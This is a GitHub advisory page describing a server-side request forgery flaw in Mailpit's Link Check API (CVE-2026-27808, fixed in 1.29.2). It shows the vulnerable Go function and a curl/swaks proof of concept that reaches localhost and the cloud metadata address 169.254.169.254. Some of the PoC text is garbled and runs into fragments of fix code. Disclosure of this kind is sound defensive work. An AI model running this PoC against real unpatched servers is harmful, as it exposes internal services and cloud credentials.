GitHub Advisoryadvisory · Go
GHSA-mpf7-p9x7-96r3 Mailpit is Vulnerable to Server-Side Request Forgery (SSRF) via Link Check API
MEDIUM
Official page ↗
- Aliases
- CVE-2026-27808
- Ecosystem
- Go
- Packages
- github.com/axllent/mailpit
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
- Weaknesses
- CWE-918
- Reviewed
- 2026-02-26
Affected packages
• Go github.com/axllent/mailpit: < 1.29.2 → fixed in 1.29.2
Description
Summary
The Link Check API (/api/v1/message/{ID}/link-check) is vulnerable to Server-Side Request Forgery (SSRF). The server performs HTTP HEAD requests to every URL found in an email without validating target hosts or filtering private/internal IP addresses. The response returns status codes and status text per link, making this a non-blind SSRF. In the default configuration (no authentication on SMTP or API), this is fully exploitable remotely with zero user interaction.
This is the same class of vulnerability that was fixed in the HTML Check API (CVE-2026-23845 / GHSA-6jxm-fv7w-rw5j) and the
screenshot proxy (CVE-2026-21859 / GHSA-8v65-47jx-7mfr), but the Link Check code path was not included in either fix.
Details
The doHead() function in https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/status.go#L59-L98 creates a plain http.Transport{} and http.Client with no DialContext hook or IP validation:
```
func doHead(link string, followRedirects bool) (int, error) {
timeout := time.Duration(10 * time.Second)
tr := &http.Transport{}
// ...
client := http.Client{
Timeout: timeout,
Transport: tr,
// ...
}
req, err := http.NewRequest("HEAD", link, nil)
// ...
res, err := client.Do(req) // No IP validation — requests any URL
return res.StatusCode, nil
}
```
The call chain is:
1. GET /api/v1/message/{ID}/link-check hits LinkCheck() in
https://github.com/axllent/mailpit/blob/v1.29.0/server/apiv1/other.go#L84
2. Which calls linkcheck.RunTests() in https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/main.go#L16
3. Which extracts all URLs from the email's HTML (, , ) and text body, then passes them to
getHTTPStatuses() in https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/status.go#L14
4. Which spawns goroutines calling doHead() for each URL with no filtering
There is no check anywhere in this path to block requests to loopback (127.0.0.0/8), private (10.0.0.0/8, 172.16.0.0/12,
192.168.0.0/16), link-local (169.254.0.0/16), or IPv6 equivalents (::1, fc00::/7, fe80::/10).
PoC
Prerequisites: Mailpit running with default settings (no auth flags). A listener on 127.0.0.1:8081 simulating an internal service.
Step 1 — Start a listener to prove the SSRF:
` python3 -m http.server 8081 --bind 127.0.0.1
`
Step 2 — Send a crafted email via SMTP:
```
swaks --to [email protected] \
--from [email protected] \
--server localhost:1025 \
--header "Content-Type: text/html" \
--body 'clickmetadata'
```
Step 3 — Get the message ID:
` curl -s http://localhost:8025/api/v1/messages?limit=1 | jq -r '.messages[0].ID'
`
Or use the shorthand ID latest.
Step 4 — Trigger the link check:
` curl -s http://localhost:8025/api/v1/message/latest/link-check | jq .
`
Expected result:
• The Python HTTP server on port 8081 logs a HEAD /ssrf-proof request from Mailpit.
• The API response contains the status code and status text for each internal target:
```
{
"Errors": 0,
"Links": [
{"URL": "http://127.0.0.1:8081/ssrf-proof", "StatusCode": 200, "Status": "OK"},
{"URL": "http://169.254.169.254/latest/meta-data/", "StatusCode": 200, "Status": "OK"}
]
}
```
-- This behavior can be identified by creating a email txt file as
```
cat email.txt >
From: [email protected]
To: [email protected]
Subject: Email Subject
This is the body of the email.
It can contain multiple lines of text.
http://localhost:8408
```
• Start a Python server on port 8408
• execute the command `mailpit sendmail = 3 {
return errors.New("too many redirects")
}
if !followRedirects {
return http.ErrUseLastResponse
}
if !isValidLinkURL(req.URL.String()) {
return fmt.Errorf("blocked redirect to i…
Related
Alias · CVE (1)
- CVE-2026-27808 Mailpit is an email testing tool and API for developers. vulnerability
Weakness · CWE (1)
- CWE-918 Server-Side Request Forgery weakness
References
- https://github.com/axllent/mailpit/security/advisories/GHSA-mpf7-p9x7-96r3 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-27808 advisory
- https://github.com/axllent/mailpit/commit/10ad4df8cc0cd9e51dea1b4410009545eef7fbf5 web
- https://github.com/axllent/mailpit package
- https://github.com/axllent/mailpit/releases/tag/v1.29.2 web